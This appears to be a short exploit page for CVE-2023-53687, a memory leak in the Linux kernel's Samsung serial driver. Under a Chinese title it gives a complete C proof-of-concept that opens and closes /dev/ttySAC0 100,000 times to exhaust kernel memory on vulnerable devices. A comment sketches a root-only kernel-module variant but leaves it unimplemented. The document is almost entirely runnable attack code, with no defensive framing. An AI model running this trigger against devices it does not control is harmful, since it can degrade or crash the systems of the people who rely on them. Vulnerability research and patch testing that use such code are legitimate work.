CVE-2023-53687：Linux内核三星串口驱动内存泄漏漏洞

// PoC for CVE-2023-53687 - Linux Kernel Samsung TTY Driver Memory Leak // This PoC demonstrates how to trigger the memory leak in s3c24xx_serial_getclk() // by repeatedly opening and closing the serial port device on affected Samsung SoCs. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <errno.h> #define SERIAL_DEVICE "/dev/ttySAC0" #define ITERATIONS 100000 int main(int argc, char *argv[]) { int fd; int i; const char *device = SERIAL_DEVICE; if (argc > 1) { device = argv[1]; } printf("[*] CVE-2023-53687 PoC - Samsung TTY Driver Memory Leak\n"); printf("[*] Target device: %s\n", device); printf("[*] Iterations: %d\n", ITERATIONS); // Check if device exists if (access(device, F_OK) != 0) { fprintf(stderr, "[-] Device %s not found. This PoC requires Samsung SoC hardware.\n", device); fprintf(stderr, "[-] Error: %s\n", strerror(errno)); return 1; } printf("[*] Starting memory leak trigger...\n"); // Repeatedly open and close the serial device to trigger s3c24xx_serial_getclk() // Each open call invokes the clk lookup path, leaking memory on vulnerable kernels for (i = 0; i < ITERATIONS; i++) { fd = open(device, O_RDWR | O_NOCTTY | O_NDELAY); if (fd < 0) { fprintf(stderr, "[-] Failed to open %s at iteration %d: %s\n", device, i, strerror(errno)); continue; } // Close immediately to trigger cleanup path close(fd); if (i % 10000 == 0 && i > 0) { printf("[+] Completed %d iterations\n", i); } } printf("[*] Done. Check kernel memory usage with 'dmesg' or /proc/meminfo\n"); printf("[*] On vulnerable kernels, slab memory for 'clk' objects will increase\n"); return 0; } /* * Alternative kernel module approach (requires root): * * #include <linux/module.h> * #include <linux/serial_core.h> * // Trigger s3c24xx_serial_getclk() repeatedly via uart_get_rate() * // Each call leaks clk references that are never put. */